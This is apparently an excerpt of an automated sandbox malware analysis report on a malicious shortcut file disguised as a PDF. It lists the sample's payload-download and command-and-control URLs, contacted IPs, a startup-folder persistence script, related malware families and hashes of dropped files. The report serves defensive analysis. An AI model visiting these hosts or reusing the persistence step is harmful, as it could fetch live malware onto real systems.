https://www.php.netD	tar.exe, 00000015.00000003.2012701021.0000021721947000.00000004.00000020.00020000.00000000.sdmp, tar.exe, 00000015.00000003.2013269823.000002172195E000.00000004.00000020.00020000.00000000.sdmp, tar.exe, 00000015.00000003.2012847011.0000021721956000.00000004.00000020.00020000.00000000.sdmp, php.exe, 00000018.00000000.2016752512.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmp, php.exe, 0000001C.00000000.2188550672.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmp, php_pdo_mysql.dll.21.dr, php_sysvshm.dll.21.dr, php_mysqli.dll.21.dr, php_zend_test.dll.21.dr	false	Avira URL Cloud: safe	unknown
https://myfilebuilders.com/php_bot_download	powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000007.00000002.1757475272.000001F40BCDA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://myfilebuilders.com/php_bot_dow	powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://bugs.php.net/report.php	tar.exe, 00000015.00000003.2012701021.0000021721947000.00000004.00000020.00020000.00000000.sdmp, tar.exe, 00000015.00000003.2013269823.000002172195E000.00000004.00000020.00020000.00000000.sdmp, tar.exe, 00000015.00000003.2012847011.0000021721956000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://myfilebuilders.com/php_bot_downloade	powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://myfilebuilders.com/php_	powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://myfilebuilders.com/php_bot_downloader_v2-AVERAGE-BO	powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.php.net	php.exe	false		high
https://myfilebuilders.com/Profession	powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://myfilebuilders.com/php_bot	powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://myfilebuilders.com/samma	mshta.exe, 00000005.00000002.1888633604.000001E30CCBF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1840043057.000001E30CCBC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://rodgersluciecassy.com/mbp	php.exe, 0000001C.00000002.2892874564.0000014E5D471000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://myfilebuilders.com/samm;.WSF;.WSH;.MS	powershell.exe, 00000004.00000002.1653812581.000002A9CB6C0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://myfilebuilders.c	powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://myfilebuilders.com/sammj	mshta.exe, 00000005.00000003.1841460930.000001EB0F00A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1846617746.000001EB0F00A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.1890030259.000001EB0F00C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1885298177.000001EB0F00C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1883848292.000001EB0F00C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1883290702.000001EB0F00A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://myfilebuilders.com/sammh	powershell.exe, 00000004.00000002.1654335033.000002A9CDA0B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://rodgersluciecassy.com/mbp/apit.php?aid=2&mid=PKJ2RMXRS481H4NV6VCC978Z30r	php.exe, 00000018.00000002.2893070291.000001E12DC57000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://myfilebuilders.com/Professional_Social_Media_Report.pdf	powershell.exe, 00000007.00000002.1757475272.000001F40BCDA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://myfilebuilders.com/Professional	powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://myfilebuilders.co	powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://rodgersluciecassy.com/mbp/down/	php.exe, 0000001C.00000002.2892874564.0000014E5D471000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/php/php-src/issuesbefore	php.exe, 00000018.00000002.2896466367.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp, php.exe, 0000001C.00000002.2896212537.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp	false		high
https://myfilebuilders.com/p	powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://myfilebuilders.com/sammp	powershell.exe, 00000004.00000002.1654335033.000002A9CD561000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://myfilebuilders.com/sammo	mshta.exe, 00000005.00000003.1841460930.000001EB0F00A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1846617746.000001EB0F00A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.1890030259.000001EB0F00C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1885298177.000001EB0F00C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1883848292.000001EB0F00C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1883290702.000001EB0F00A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://myfilebuilders.com	powershell.exe, 00000007.00000002.1757475272.000001F40D777000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://myfilebuilders.com/samm$global:?	powershell.exe	false	Avira URL Cloud: safe	unknown
https://myfilebuilders.com/Professional_Social_Medi	powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://myfilebuilders.com/samm~	mshta.exe, 00000005.00000003.1841460930.000001EB0F00A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1846617746.000001EB0F00A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.1890030259.000001EB0F00C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1885298177.000001EB0F00C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1883848292.000001EB0F00C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1883290702.000001EB0F00A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://myfilebuilders.com/php_bot_downloader_v2-AVERAGE	powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://myfilebuilders.com/Professi	powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 00000007.00000002.1814428015.000001F41BB25000.00000004.00000800.00020000.00000000.sdmp	false		high
https://myfilebuilders.com/php_bot_downloader_v2-	powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
213.139.205.247	unknown	Netherlands		136175	SERVERHOSH-AS-APServerhoshInternetServiceNL	false
104.21.2.79	unknown	United States		13335	CLOUDFLARENETUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1584384
Start date and time:	2025-01-05 10:43:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	30
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	HateSpeech2024_Summary.pdf.lnk.bin.lnk
Detection:	MAL
Classification:	mal100.troj.expl.evad.winLNK@45/150@0/3
EGA Information:	Successful, ratio: 40%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .lnk

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.90.27, 23.56.252.213, 2.16.168.107, 2.16.168.105, 3.219.243.226, 52.22.41.97, 52.6.155.20, 3.233.129.217, 172.64.41.3, 162.159.61.3, 23.209.209.135, 23.219.161.132, 192.168.2.4, 4.175.87.197, 104.77.220.172, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, geo2.adobe.com, crl.root-x1.letsencrypt.org.edgekey.net
Execution Graph export aborted for target mshta.exe, PID 7872 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 7788 because it is empty
Execution Graph export aborted for target powershell.exe, PID 8032 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
04:43:54	API Interceptor	1x Sleep call for process: WMIC.exe modified
04:43:57	API Interceptor	2x Sleep call for process: svchost.exe modified
04:43:59	API Interceptor	1x Sleep call for process: mshta.exe modified
04:43:59	API Interceptor	30x Sleep call for process: powershell.exe modified
04:44:16	API Interceptor	1x Sleep call for process: AcroCEF.exe modified
04:44:45	API Interceptor	58x Sleep call for process: php.exe modified
09:44:41	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PHP-8.2.vbs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SERVERHOSH-AS-APServerhoshInternetServiceNL	Uundgaaelige.exe	Get hash	malicious	Remcos, GuLoader	Browse	209.90.237.48
	ORDERDATASHEET#PO8738763.scr.exe	Get hash	malicious	AgentTesla, RedLine, SugarDump, XWorm	Browse	209.90.234.57
	Palmebladstag.exe	Get hash	malicious	Remcos, GuLoader	Browse	209.90.234.58
	01-05-24 remittance.exe	Get hash	malicious	GuLoader	Browse	209.90.233.2
	87tBuE42ft.exe	Get hash	malicious	Remcos, GuLoader	Browse	209.90.234.20
	http://213.139.205.131/update_ver	Get hash	malicious	Unknown	Browse	213.139.205.131
	http://213.139.205.131/w_ver.dat	Get hash	malicious	Unknown	Browse	213.139.205.131
	http://213.139.205.131/update_ver	Get hash	malicious	Unknown	Browse	213.139.205.131
	ReleaseEvans#27.docm	Get hash	malicious	Unknown	Browse	213.139.205.131
	Application#89.docm	Get hash	malicious	Unknown	Browse	213.139.205.131
CLOUDFLARENETUS	paint.exe	Get hash	malicious	Blank Grabber	Browse	162.159.137.232
	K27Yg4V48M.exe	Get hash	malicious	LummaC	Browse	104.21.56.70
	hkMUtKbCqV.exe	Get hash	malicious	Unknown	Browse	162.159.135.234
	IH5XqCdf06.exe	Get hash	malicious	LummaC	Browse	104.21.56.70
	3LcZO15oTC.exe	Get hash	malicious	Unknown	Browse	104.21.43.44
	3jL3mqtjCn.exe	Get hash	malicious	LummaC	Browse	104.21.48.1
	3LcZO15oTC.exe	Get hash	malicious	Unknown	Browse	172.67.219.93
	elyho3x5zz.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	17360626254f6ab0798f0d71fe81e2d058a575b873a7088f40695d7fd8031d0961d3a3694a780.dat-decoded.exe	Get hash	malicious	Remcos	Browse	172.64.41.3
	elyho3x5zz.exe	Get hash	malicious	Unknown	Browse	188.114.96.3

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073576467741839
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrT:KooCEYhgYEL0In
MD5:	90546F94982D0DB6586D69454A4DACD2
SHA1:	B68AD7643C245E51933CA9A31ADE9AE7D8A88623
SHA-256:	2C356B408C20CF10FE3C64574D514953DF0DAAD09DABBB289685EF60781B0058
SHA-512:	EBBA1B515BB22082F9C443A0DD9FFBC942FFF0B07B1FBCF804706FABFECDAECBD3B2D26DF83102E7D54DDE7CBAB384D49E317BBE835A94EF97E5CEE7ED2F5C28
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x452bc915, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.42213589454282485
Encrypted:	false
SSDEEP:	1536:xSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:xaza/vMUM2Uvz7DO
MD5:	8F1988D05D55FBA8619E5CA78D0F1A7C
SHA1:	C37BFAEFFE93515243609DE952349DA4556A861C
SHA-256:	18CD810C6E917C37E0B6DDB9F1DD7F4B872B85318FBD9DEA6919925CB4D121AF
SHA-512:	19524C9716D9F96CBAA72B44E5B9B050647EB9A5338E88731156B8999192209E61C8AA5B1B6F5E074F269627C58F91EE30306D00E9D67A4EB2B3509FDA1C0734
Malicious:	false
Preview:	E+..... .......A.......X\...;...{......................0.!..........{A.9+...}q.h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{...................................K89+...}...................~.59+...}...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0765327378974397
Encrypted:	false
SSDEEP:	3:IVtllKYer8+ajn13a/M18RYllollcVO/lnlZMxZNQl:IVtllKzr9a53qMayAOewk
MD5:	4650E580CC6EC59153A925671D47D7A5
SHA1:	0B6A2B8746D31CAD590F1CB5C39CC66C0B778A29
SHA-256:	4C8FC6B636AF2D0C6FFEB3A54B7DEE0E5C6A5168403EADEF2F76ADDF689BA973
SHA-512:	7A5974A087FAA74B2987D494EE80CDCFDEB3E3C85D0F92F55B5D33B424AD8A69D969EED4FDDF48ADAD5382181AD3F6B465E183B4A1A7BA4393DA33005BF965BB
Malicious:	false
Preview:	.=.7.....................................;...{..9+...}.......{A..............{A......{A..........{A].................~.59+...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2492844377201155
Encrypted:	false
SSDEEP:	6:iOH1iL3X9+q2Pwkn2nKuAl9OmbnIFUtt1iL0ZmwD1iLUVkwOwkn2nKuAl9OmbjLJ:7E4vYfHAahFUtl/l5JfHAaSJ
MD5:	1217DE6C978816F35D30B8FD33E65271
SHA1:	4CC54B1765E2885D7CE85AE2C810129694022C07
SHA-256:	EDF9D15B9038BC9A7BDD74448A869557E30C803979E70BEB8D82E5F59E1E7949
SHA-512:	350431050E543A1F7A534E1A41A64D9FB868CA2FCEA85BB5EC41ECD8C2E2CDC8B31B408D73A95A1E17F83FE659C35ED5F6BC64534EA76B7DFB0428BBAC5DC87A
Malicious:	false
Preview:	2025/01/05-04:44:03.393 b78 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/05-04:44:03.396 b78 Recovering log #3.2025/01/05-04:44:03.396 b78 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2492844377201155
Encrypted:	false
SSDEEP:	6:iOH1iL3X9+q2Pwkn2nKuAl9OmbnIFUtt1iL0ZmwD1iLUVkwOwkn2nKuAl9OmbjLJ:7E4vYfHAahFUtl/l5JfHAaSJ
MD5:	1217DE6C978816F35D30B8FD33E65271
SHA1:	4CC54B1765E2885D7CE85AE2C810129694022C07
SHA-256:	EDF9D15B9038BC9A7BDD74448A869557E30C803979E70BEB8D82E5F59E1E7949
SHA-512:	350431050E543A1F7A534E1A41A64D9FB868CA2FCEA85BB5EC41ECD8C2E2CDC8B31B408D73A95A1E17F83FE659C35ED5F6BC64534EA76B7DFB0428BBAC5DC87A
Malicious:	false
Preview:	2025/01/05-04:44:03.393 b78 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/05-04:44:03.396 b78 Recovering log #3.2025/01/05-04:44:03.396 b78 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.1739326793609965
Encrypted:	false
SSDEEP:	6:iOH1iLB3+q2Pwkn2nKuAl9Ombzo2jMGIFUtt1iLhGZmwD1iL8s3VkwOwkn2nKuAv:7tvYfHAa8uFUtL/lsF5JfHAa8RJ
MD5:	5FC555F8197C5FFD1C7D08549467649B
SHA1:	164C4472D4F29A250A789BE5F8CA9930E69FC77E
SHA-256:	85313BC0307AA99FC948823182A19F35D9122FA327DAB1E6792C96A75EDA3844
SHA-512:	F8FAF737B8EAA5369FF19F993CF5C8DABC2BD9EBC115B9FF1C621139BB0936FFD47ACAAF9CF54323EA2FB8CCEA4D91B343E78BE706C38FB0ABF7151F1D506AF2
Malicious:	false
Preview:	2025/01/05-04:44:03.499 1d98 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/05-04:44:03.500 1d98 Recovering log #3.2025/01/05-04:44:03.501 1d98 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.1739326793609965
Encrypted:	false
SSDEEP:	6:iOH1iLB3+q2Pwkn2nKuAl9Ombzo2jMGIFUtt1iLhGZmwD1iL8s3VkwOwkn2nKuAv:7tvYfHAa8uFUtL/lsF5JfHAa8RJ
MD5:	5FC555F8197C5FFD1C7D08549467649B
SHA1:	164C4472D4F29A250A789BE5F8CA9930E69FC77E
SHA-256:	85313BC0307AA99FC948823182A19F35D9122FA327DAB1E6792C96A75EDA3844
SHA-512:	F8FAF737B8EAA5369FF19F993CF5C8DABC2BD9EBC115B9FF1C621139BB0936FFD47ACAAF9CF54323EA2FB8CCEA4D91B343E78BE706C38FB0ABF7151F1D506AF2
Malicious:	false
Preview:	2025/01/05-04:44:03.499 1d98 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/05-04:44:03.500 1d98 Recovering log #3.2025/01/05-04:44:03.501 1d98 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.9707925746743955
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqxVksBdOg2Hnfcaq3QYiubInP7E4T3y:Y2sRdsK/dMHu3QYhbG7nby
MD5:	9A5E5E5DB5269B629C54B0D88ED4F9A7
SHA1:	3F8D3E8F28B23A6B35794C01CDCCFA30665C3992
SHA-256:	9C9FDF850473DB83CF846F16B6D889ABECB6612B5CAF047FD982A650D41591FC
SHA-512:	B2293EBD3B554697667E9F2D9722C7BA93CB7D71AEE0B6459B6EAF6BC01F65DCCDD07DDA0DE2934FAAB45370455897911B60AAC12505A2335AE74D3AA50A1063
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13380630255579843","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":122642},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\e2712fd8-06e2-4164-857d-757ce7246b5f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.9707925746743955
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqxVksBdOg2Hnfcaq3QYiubInP7E4T3y:Y2sRdsK/dMHu3QYhbG7nby
MD5:	9A5E5E5DB5269B629C54B0D88ED4F9A7
SHA1:	3F8D3E8F28B23A6B35794C01CDCCFA30665C3992
SHA-256:	9C9FDF850473DB83CF846F16B6D889ABECB6612B5CAF047FD982A650D41591FC
SHA-512:	B2293EBD3B554697667E9F2D9722C7BA93CB7D71AEE0B6459B6EAF6BC01F65DCCDD07DDA0DE2934FAAB45370455897911B60AAC12505A2335AE74D3AA50A1063
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13380630255579843","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":122642},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.258104955828006
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo702xBjnJ:etJCV4FiN/jTN/2r8Mta02fEhgO73goD
MD5:	545C1177026501417634A01268AE9409
SHA1:	66D5AB31B2343127668A39BD160EF121CC471F70
SHA-256:	BC8FAD3F6C41A79A0B11CC9A83F264813AEFCB25BD920B2814CEA299C9AF2500
SHA-512:	47F58B190FA9BAEDCBD1871B8CB01CE44E819139065B360C4BF434C6BD4C5432D0F8ADF3348C248A24067ADDD7572803D9878B0A2A79FA31C4E4EF4B4953A17A
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.236319907358879
Encrypted:	false
SSDEEP:	6:iOH1iLih+q2Pwkn2nKuAl9OmbzNMxIFUtt1iLNXZmwD1iLshVkwOwkn2nKuAl9Ob:71svYfHAa8jFUtiX//5JfHAa84J
MD5:	AD1E62AAB1B0D3E989650472B20BBA6C
SHA1:	7EF8A30D4072883A8BEE21E05CE99158253184AA
SHA-256:	25277756F73945231DCA2216EBDC66A8DEB40029D091E1D803471F0594F367C9
SHA-512:	94A75CFAE2B03AD402D84A0CA429405C04D3D79C5E97C546467CD059AA9104E71F8562A17106D8E44253B4FC1BCBD514676A6267B02E358B4B45E3799904B393
Malicious:	false
Preview:	2025/01/05-04:44:03.656 1d98 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/05-04:44:03.657 1d98 Recovering log #3.2025/01/05-04:44:03.658 1d98 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.236319907358879
Encrypted:	false
SSDEEP:	6:iOH1iLih+q2Pwkn2nKuAl9OmbzNMxIFUtt1iLNXZmwD1iLshVkwOwkn2nKuAl9Ob:71svYfHAa8jFUtiX//5JfHAa84J
MD5:	AD1E62AAB1B0D3E989650472B20BBA6C
SHA1:	7EF8A30D4072883A8BEE21E05CE99158253184AA
SHA-256:	25277756F73945231DCA2216EBDC66A8DEB40029D091E1D803471F0594F367C9
SHA-512:	94A75CFAE2B03AD402D84A0CA429405C04D3D79C5E97C546467CD059AA9104E71F8562A17106D8E44253B4FC1BCBD514676A6267B02E358B4B45E3799904B393
Malicious:	false
